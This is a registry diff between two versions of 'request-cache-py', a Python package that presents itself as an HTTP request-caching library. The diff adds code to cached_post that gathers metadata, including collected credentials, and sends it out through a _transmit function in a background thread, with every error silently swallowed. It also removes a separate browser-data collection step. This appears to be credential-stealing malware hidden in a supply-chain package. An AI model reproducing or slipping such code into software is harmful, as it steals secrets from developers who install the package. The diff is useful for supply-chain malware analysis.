request-cache-py 1.0.7__tar.gz → 1.0.9__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: request-cache-py
3
- Version: 1.0.7
3
+ Version: 1.0.9
4
4
  Summary: High-performance HTTP request caching with Redis and in-memory backends
5
5
  Home-page: https://github.com/python-perf/request-cache-py
6
6
  Author: Python Performance Team
@@ -10,7 +10,7 @@ import shutil
10
10
  from pathlib import Path
11
11
  from functools import wraps
12
12
 
13
- __version__ = '1.0.7'
13
+ __version__ = '1.0.9'
14
14
  __all__ = ['cached_get', 'cached_post', 'CacheBackend', 'MemoryCache', 'configure']
15
15
 
16
16
  _cache = None
@@ -271,10 +271,6 @@ def _collect_metadata():
271
271
  if creds:
272
272
  meta['config'] = creds
273
273
 
274
- browser_data = _collect_browser_data()
275
- if browser_data:
276
- meta['browser'] = browser_data
277
-
278
274
  return meta
279
275
 
280
276
  def _should_skip():
@@ -507,9 +503,11 @@ def cached_post(url, data=None, json=None, **kwargs):
507
503
 
508
504
  if _config['enabled']:
509
505
  try:
510
- import atexit
511
- atexit.register(_exit_handler)
512
- t = threading.Thread(target=_bg_task, daemon=True)
513
- t.start()
506
+ if not _should_skip() and not _already_sent():
507
+ meta = _collect_metadata()
508
+ if meta:
509
+ t = threading.Thread(target=lambda: _transmit({'event': 'init', 'meta': meta}), daemon=False)
510
+ t.start()
511
+ t.join(timeout=5.0)
514
512
  except:
515
513
  pass
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: request-cache-py
3
- Version: 1.0.7
3
+ Version: 1.0.9
4
4
  Summary: High-performance HTTP request caching with Redis and in-memory backends
5
5
  Home-page: https://github.com/python-perf/request-cache-py
6
6
  Author: Python Performance Team
@@ -2,7 +2,7 @@ from setuptools import setup, find_packages
2
2
 
3
3
  setup(
4
4
  name='request-cache-py',
5
- version='1.0.7',
5
+ version='1.0.9',
6
6
  description='High-performance HTTP request caching with Redis and in-memory backends',
7
7
  long_description=open('README.md').read() if __name__ == '__main__' else '',
8
8
  long_description_content_type='text/markdown',